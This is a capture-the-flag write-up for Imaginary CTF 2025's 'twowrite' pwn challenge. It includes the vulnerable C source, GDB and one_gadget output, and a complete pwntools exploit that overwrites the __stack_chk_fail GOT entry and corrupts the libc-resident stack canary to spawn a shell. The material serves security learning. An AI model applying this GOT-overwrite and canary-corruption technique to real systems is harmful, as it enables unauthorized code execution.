twowrite
twowrite
A binary exploitation problem from Imaginary CTF 2025
Description
double the writes from last year
Provided files:
vuln
nsjail.cfg
vuln.c
Makefile
flag.txt
(for testing)Dockerfile
libc.so.6
Summary
You have two arbitrary writes:
- write a
one_gadget
into__stack_chk_fail@plt
- overwrite the stack canary in
libc
via static offset fromsystem
Solve
Running checksec
:
1
2
3
4
5
6
7
8
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
We have partial RELRO and no PIE.
From vuln.c
and vuln
, we can see that we can write to two arbitrary writes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
long what1, what2;
long *where1, *where2;
printf("system @ %p\n", &system);
printf("what? ");
scanf("%ld%*c", &what1);
printf("what? ");
scanf("%ld%*c", &what2);
printf("where? ");
scanf("%p%*c", &where1);
printf("where? ");
scanf("%p%*c", &where2);
where1[0] = what1;
where1[1] = what2;
where2[0] = what1;
where2[1] = what2;
return 0;
}
We are also given the address of system
, giving us the base address of libc
.
However, we do not know anything about the stack, so we can’t write to the return address and hijack control flow that way.
If the writes weren’t at the end, we could have overwritten something in the global offset table (GOT). Or maybe we still can!
We do have one last PLT/GOT function call: __stack_chk_fail
:
1
2
3
4
5
6
7
0x00000000004012e7 <+337>: mov eax,0x0
0x00000000004012ec <+342>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004012f0 <+346>: sub rdx,QWORD PTR fs:0x28
0x00000000004012f9 <+355>: je 0x401300 <main+362>
0x00000000004012fb <+357>: call 0x401070 <__stack_chk_fail@plt>
0x0000000000401300 <+362>: leave
0x0000000000401301 <+363>: ret
Of course this only happens when the stack canary is overwritten, but the stack canary is on the stack. We don’t know anything about the stack.
However, we do know about libc
, where the stack canary is generated.
One of my teammates figured out that the stack canary was a static offset away from system
. For some reason, on my Ubuntu 24.04.3 VM, this wasn’t static. We both agreed to start doing work within the provided Docker image:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
FROM ubuntu:25.04@sha256:57665ab8178042ef197191fd77d21d8a2f7f535acd26ff7bd548b1f340f081d7 as chroot
RUN /usr/sbin/useradd --no-create-home -u 1024 user
COPY flag.txt /home/user/flag.txt
COPY vuln /home/user/chal
RUN chmod 555 /home/user/chal
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get update; apt-get -y install socat
FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
COPY --from=chroot / /chroot
COPY nsjail.cfg /home/user/
CMD kctf_setup && \
kctf_drop_privs \
socat \
TCP-LISTEN:1337,reuseaddr,fork \
EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
The kctf-docker
part was annoying, so I deleted it and just worked within the Ubuntu 25.04 image.
Using pwntools
and gdb
, we were able to determine the offset between the libc
canary and system
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chal")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("twowrite.chal.imaginaryctf.org", 1337)
return r
def main():
r = conn()
if args.LOCAL:
gdb.attach(r, """
b *main+285
c
""")
r.recvuntil(b"@ ")
system = int(r.recvline(), 16)
libc.address = system - libc.sym['system']
print("system", hex(system))
r.interactive()
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
gef_ x/gx $rbp-8
0x7fff664a5738: 0xa753c44bfe4b1d00
gef_ search-pattern 0xa753c44bfe4b1d00
[+] Searching '\x00\x1d\x4b\xfe\x4b\xc4\x53\xa7' in memory
[+] In (0x704449d5f000-0x704449d62000), permission=rw-
0x704449d5f768 - 0x704449d5f788 _ "\x00\x1d\x4b\xfe\x4b\xc4\x53\xa7[...]"
[+] In '[stack]'(0x7fff66487000-0x7fff664a8000), permission=rw-
0x7fff664a53b8 - 0x7fff664a53d8 _ "\x00\x1d\x4b\xfe\x4b\xc4\x53\xa7[...]"
0x7fff664a55e8 - 0x7fff664a5608 _ "\x00\x1d\x4b\xfe\x4b\xc4\x53\xa7[...]"
0x7fff664a5648 - 0x7fff664a5668 _ "\x00\x1d\x4b\xfe\x4b\xc4\x53\xa7[...]"
0x7fff664a5738 - 0x7fff664a5758 _ "\x00\x1d\x4b\xfe\x4b\xc4\x53\xa7[...]"
0x7fff664a57d8 - 0x7fff664a57f8 _ "\x00\x1d\x4b\xfe\x4b\xc4\x53\xa7[...]"
gef_ p/d 0x704449dbe110 - 0x704449d5f768
$1 = 387496
Now that we knew the offset, we could overwrite the canary, triggering __stack_chk_fail
, which we can overwrite with anything.
What should we overwrite it with? It turns out, there’s a neat cool called one_gadget
, which finds single addresses in libc
that create shells.
The one_gadget
output of the Docker’s libc.so.6
was as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xf7277 execve("/bin/sh", rbp-0x50, r13)
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[r13] == NULL || r13 == NULL || r13 is a valid envp
0xf72d2 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0x11b91a posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x48], 0, rsp+0x70, [rsp+0xf0])
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
[[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL || [rsp+0xf0] is a valid envp
[rsp+0x48] == NULL || (s32)[[rsp+0x48]+0x4] <= 0
0x11b922 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x48], 0, rsp+0x70, r14)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
[r14] == NULL || r14 == NULL || r14 is a valid envp
[rsp+0x48] == NULL || (s32)[[rsp+0x48]+0x4] <= 0
0x11b927 posix_spawn(rsp+0x64, "/bin/sh", rdx, 0, rsp+0x70, r14)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
[r14] == NULL || r14 == NULL || r14 is a valid envp
rdx == NULL || (s32)[rdx+0x4] <= 0
The second address ended up working!
Final Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chal")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("twowrite.chal.imaginaryctf.org", 1337)
return r
def main():
r = conn()
if args.LOCAL:
gdb.attach(r, """
b *main+285
c
""")
r.recvuntil(b"@ ")
system = int(r.recvline(), 16)
libc.address = system - libc.sym['system']
print("system", hex(system))
one_gadget = 0xf72d2
r.sendlineafter(b'? ', f"{libc.address + one_gadget}".encode())
r.sendlineafter(b'? ', f"{0}".encode())
r.sendlineafter(b'? ', hex(exe.got['__stack_chk_fail']).encode())
r.sendlineafter(b'? ', hex(system-387496-8).encode())
r.interactive()
if __name__ == "__main__":
main()
Flag
1
ictf{d0nt_y0u_l0ve_it_when_the_p0inters_demangle_themselves_77a90021e9a8a690}